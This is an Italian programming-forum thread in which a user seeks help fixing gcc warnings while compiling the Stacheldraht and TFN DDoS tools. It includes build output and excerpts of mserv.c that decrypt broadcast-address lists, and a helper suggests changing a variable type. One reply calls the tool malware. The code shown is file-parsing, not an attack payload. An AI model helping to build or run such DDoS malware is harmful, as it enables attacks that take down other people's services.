Pagina 1 di 2 1 2 ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 19
  1. #1
    Utente di HTML.it
    Registrato dal
    Nov 2005
    Messaggi
    30

    programmazione con gcc...ddos tools

    Salve,sto cercando di far funzionare dei tool che generano ddos utilizzo debian con gcc version 4.0.2 e ho una serie di warning nella compilazione in c del tipo:
    warning: passing argument 2 of 'fgetpos' from incompatible pointer type

    sono molte linee di codice...se magari qualcuno ha familiarità con questi tool o può darmi indicazione su come risolvere questi warning gliene sarei grata!!!
    ps:ho risolto una parte dei warning grazie ad un'opzione di compilazione(-Wno-pointer-sign) per caso c'è qualche altra opzione che andrebbe bene nel mio caso?
    Grazie

  2. #2
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Qual e' la riga in cui c'e' il warning ?

    P.S. Piu' che "tool" lo definirei "malware" ... attenzione ...

  3. #3
    Utente di HTML.it
    Registrato dal
    Nov 2005
    Messaggi
    30

    DDos tools

    Si tratta in quel caso di stacheldraht il programma è mserv.c:

    gcc -lcrypt -Wno-pointer-sign setup.c -o setup
    ./setup
    -Pre-Compilation----------------------
    enter the passphrase :
    --------------------------------------
    Generated CRYPT-PW: zAHp635Fd0u/g
    pw.h created..
    gcc -lcrypt -Wno-pointer-sign mserv.c blowfish.c -O6 -o mserv
    mserv.c: In function 'readintmp':
    mserv.c:2323: warning: passing argument 2 of 'fgetpos' from incompatible pointer type
    mserv.c: In function 'readinbcasts':
    mserv.c:2377: warning: passing argument 2 of 'fgetpos' from incompatible pointer type

    questo è quello che mi compare facendo make però ripeto questo tipo di warning che ho si ripete in diversi programmi(anche in tfn)!se li conosci...mi saresti di grande aiuto sono bloccata da un bel po su questi...

  4. #4
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Puoi mostrare le righe indicate dai warning ...

  5. #5
    Utente di HTML.it
    Registrato dal
    Nov 2005
    Messaggi
    30

    DDos tools

    Ti scrivo solo il pezzo di codice riguardante le due funzioni con i warning(in rosso solo le riche corrispondenti ai due warning):

    void readintmp() {
    FILE *fili;
    int temp;
    long filesize;

    /* allocated memory for the bcasts */
    char *allocmem;
    int *savealloc;
    char *encryptedmem;
    char *decryptedmem;
    char *pointi;

    char scheissbuffer[100000];
    char scheissbuffer2[100000];

    char sicken[1000];
    char *sickpoint;

    albcasts=0;
    bcastcount_alive=0;
    if ((fili=fopen("tmp","r"))!=0)
    {
    /* needed for the blowfish encryption of the bcasts */
    encryptedmem=(char*)&scheissbuffer;
    decryptedmem=(char*)&scheissbuffer2;

    fseek(fili,0,2);
    fgetpos(fili,&filesize);
    fseek(fili,0,0);

    fread(encryptedmem,filesize,1,fili);
    memset(decryptedmem,0,100000);
    memcpy(decryptedmem,decrypt_string(SALT,encryptedm em),filesize);
    count=0;
    bcastcount_alive=0;
    while (*decryptedmem!='\0') {
    sickpoint=(char*)&sicken;
    while (*decryptedmem!=' ') {
    *sickpoint++=*decryptedmem++;
    }
    *sickpoint='\0';
    decryptedmem++;
    replies[count]=inet_addr(sicken);
    bcastcount_alive++;
    albcasts++;
    count++;
    }
    fclose(fili);
    }

    }


    /* read all the bcasts into memory */
    void readinbcasts()
    {
    FILE *fili;
    int temp;
    long filesize;

    /* allocated memory for the bcasts */
    char *allocmem;
    int *savealloc;
    char *encryptedmem;
    char *decryptedmem;
    char *pointi;

    char scheissbuffer[100000];
    char scheissbuffer2[100000];

    char sicken[1000];
    char *sickpoint;

    bcastcount=0;
    if ((fili=fopen(BCASTFILENAME,"r"))!=0)
    {
    /* needed for the blowfish encryption of the bcasts */
    encryptedmem=(char*)&scheissbuffer;
    decryptedmem=(char*)&scheissbuffer2;

    fseek(fili,0,2);
    fgetpos(fili,&filesize);
    fseek(fili,0,0);

    fread(encryptedmem,filesize,1,fili);
    memset(decryptedmem,0,100000);
    memcpy(decryptedmem,decrypt_string(SALT,encryptedm em),filesize);
    count=0;
    bcastcount=0;
    while (*decryptedmem!='\0') {
    sickpoint=(char*)&sicken;
    while (*decryptedmem!=' ') {
    *sickpoint++=*decryptedmem++;
    }
    *sickpoint='\0';
    decryptedmem++;
    bcasts[count]=inet_addr(sicken);
    // printf("%s\n",sicken);
    bcastcount++;
    count++;
    }
    fclose(fili);
    }
    }
    Ti ripeto che ho lo stesso problema in diversi programmi,anzi qui i warning soono solo 2!!

    Grazie

  6. #6
    Moderatore di Programmazione L'avatar di alka
    Registrato dal
    Oct 2001
    residenza
    Reggio Emilia
    Messaggi
    24,463

    Moderazione

    Il linguaggio è C++? Capisco l'emozione per il sabotaggio di qualche server, ma è obbligatorio indicarlo, come da Regolamento.

    Ciao!
    MARCO BREVEGLIERI
    Software and Web Developer, Teacher and Consultant

    Home | Blog | Delphi Podcast | Twitch | Altro...

  7. #7
    Utente di HTML.it
    Registrato dal
    Nov 2005
    Messaggi
    30
    Veramente nel messaggio precedente avevo specificato gcc per linux...quindi è linguaggio C,poi è per motivi di studio!!

  8. #8
    Moderatore di Programmazione L'avatar di alka
    Registrato dal
    Oct 2001
    residenza
    Reggio Emilia
    Messaggi
    24,463

    Moderazione

    Originariamente inviato da danim79
    Veramente nel messaggio precedente avevo specificato gcc per linux...
    Va indicato nel titolo, come da Regolamento, oltrechè nel messaggio (se lo desideri).

    Siccome non posso materialmente esaminare ogni discussione alla ricerca di tool (che siano "gcc" o altri) andandomi poi a trovare a quale linguaggio appartengono per correggere il titolo, si tratta di un'informazione che deve essere inserita da chi apre la discussione.

    Tutto qui quello che volevo dire.

    Ciao!
    MARCO BREVEGLIERI
    Software and Web Developer, Teacher and Consultant

    Home | Blog | Delphi Podcast | Twitch | Altro...

  9. #9
    Utente di HTML.it L'avatar di oregon
    Registrato dal
    Jul 2005
    residenza
    Roma
    Messaggi
    36,480
    Prova a scrivere al posto della riga

    long filesize;

    la seguente

    fpos_t filesize;

    in modo da fare in modo che venga usato il tipo "portabile" e che il compilatore possa usare liberamente un puntatore a un valore a 64 bit al posto di quello a 32.

  10. #10
    Utente di HTML.it
    Registrato dal
    Nov 2005
    Messaggi
    30

    [C] ...continuo DDoS

    Avevo trovato anche io la stessa cosa ho sostituito il tipo lon con fpos_t in più dava errore su altre righe poichè la variabile filesize compare altrove,in particolare nelle funzioni fread e memcpy mi compaiono questi 2 warning:

    mserv.c: In function 'readintmp':
    mserv.c:2326: warning: passing argument 2 of 'fread' makes integer from pointer without a cast
    mserv.c:2328: warning: passing argument 3 of 'memcpy' makes integer from pointer without a cast

    Credo il tuo suggerimento sia giusto bisogna vedere queste due funzioni che tipo vogliono...

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2025 vBulletin Solutions, Inc. All rights reserved.